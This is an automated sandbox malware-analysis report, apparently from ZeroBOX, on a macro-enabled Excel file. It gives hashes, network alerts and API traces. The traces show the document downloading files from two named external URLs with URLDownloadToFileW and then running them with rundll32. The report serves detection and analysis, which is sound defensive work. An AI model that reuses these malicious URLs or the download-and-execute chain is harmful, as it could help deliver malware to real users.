Favorites
Tools
Dr.Zero Chatbot
Notifications
Guide 2020-06-10
Version history 2020-06-10

latestReport
07.04 10:07
file_qzz145uz.kxq.txt.ps1
07.04 10:07
file_20dp34d4.orr.txt.ps1
07.04 10:07
file_3e3wgwby.144.txt.ps1
07.04 10:07
new-image_j.jpg.exe
07.04 10:07
moon.txt.exe
07.04 10:07
okeydookietrational.tx...
07.04 10:07
streamer.exe
07.04 10:07
file_2n4kbwex.dbr.txt.ps1
07.04 09:07
file_5jjhn5s1.zo4.txt.ps1
07.04 09:07
file_iet2mvl3.idw.txt.ps1

Latest News
07.04 10:07
LG헬로비전-인천교육청, 인천상상플랫폼 ...
07.04 10:07
LG전자, AI홈 시대 선도 위해 스마트...
07.04 10:07
디지털 분야 첨단 연구 선도할 석박사급 ...
07.04 10:07
에코프로, 자사 사칭 불법 사이트 발견....
07.04 10:07
SK쉴더스, 사회 안전망 구축 방안 담은...
07.04 10:07
지란지교데이터, AI 기반 데이터 보호 ...
07.04 10:07
[부고] 제이커넥트 이기복 대표 모친상
07.04 10:07
New Open SSH Vulnerabi...
07.04 09:07
WordPress User Enumera...
07.04 08:07
Smashing Security podc...

Summary | ZeroBOX

catalog-1605179562.xlsm

Category	Machine	Started	Completed
FILE	s1_win7_x6402	April 23, 2021, 2:21 p.m.	April 23, 2021, 2:23 p.m.

Size	84.0KB
Type	Microsoft Excel 2007+
MD5	`082645e6b13d4cdd417b3d82c15a8c83`
SHA256	`c0a5bc4948f22a1dca656fc1d8b4bf0ac1c34fc959393dcf4b733009053f1720`
CRC32	`54958D17`
ssdeep	`1536:R8uOH1evfA0RITTam373wn/dDuL7QQ64eyZJViW++poHnQx:6L1evWTj3EwXQQteyZJAW++4k`
Yara	None matched

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\catalog-1605179562.xlsm
2504
- rundll32.exe rundll32 ..\oepddl.igk1,DllRegisterServer
  9076
- rundll32.exe rundll32 ..\oepddl.igk2,DllRegisterServer
  8956

Name	Response	Post-Analysis Lookup
eletrocoghi.com.br	A 192.185.216.95	192.185.216.95
ozmontelectrical.com	A 162.144.12.242	162.144.12.242

IP Address	Status	Action
162.144.12.242	Active	Moloch
164.124.101.2	Active	Moloch
172.217.25.14	Active	Moloch
192.185.216.95	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49807 -> 192.185.216.95:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49812 -> 162.144.12.242:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.185.216.95:443 -> 192.168.56.102:49808	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 162.144.12.242:443 -> 192.168.56.102:49813	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49806 -> 192.185.216.95:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49811 -> 162.144.12.242:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Allocates read-write-execute memory (usually to unpack itself) (19 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70af1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743f1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70731000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73321000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f61000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71f71000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6e5e1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743e1000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726d1000 process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05c00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05c00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05fb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0
NtAllocateVirtualMemory April 23, 2021, 2:21 p.m.	process_identifier: 2504 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05fc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$catalog-1605179562.xlsm

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile April 23, 2021, 2:21 p.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000328 filepath: C:\Users\test22\AppData\Local\Temp\~$catalog-1605179562.xlsm desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$catalog-1605179562.xlsm create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Communicates with host for which no DNS query was performed (1 event)

host

172.217.25.14

Network communications indicative of a potential document or script payload download was initiated by the process excel.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
URLDownloadToFileW April 23, 2021, 2:21 p.m.	url: https://eletrocoghi.com.br/drms/fert.html stack_pivoted: 0 filepath_r: ..\oepddl.igk1 filepath: C:\Users\test22\oepddl.igk1		2148270085	0
URLDownloadToFileW April 23, 2021, 2:21 p.m.	url: https://ozmontelectrical.com/drms/fert.html stack_pivoted: 0 filepath_r: ..\oepddl.igk2 filepath: C:\Users\test22\oepddl.igk2		2148270085	0

One or more non-whitelisted processes were created (2 events)

parent_process	excel.exe				martian_process	rundll32 ..\oepddl.igk2,DllRegisterServer
parent_process	excel.exe				martian_process	rundll32 ..\oepddl.igk1,DllRegisterServer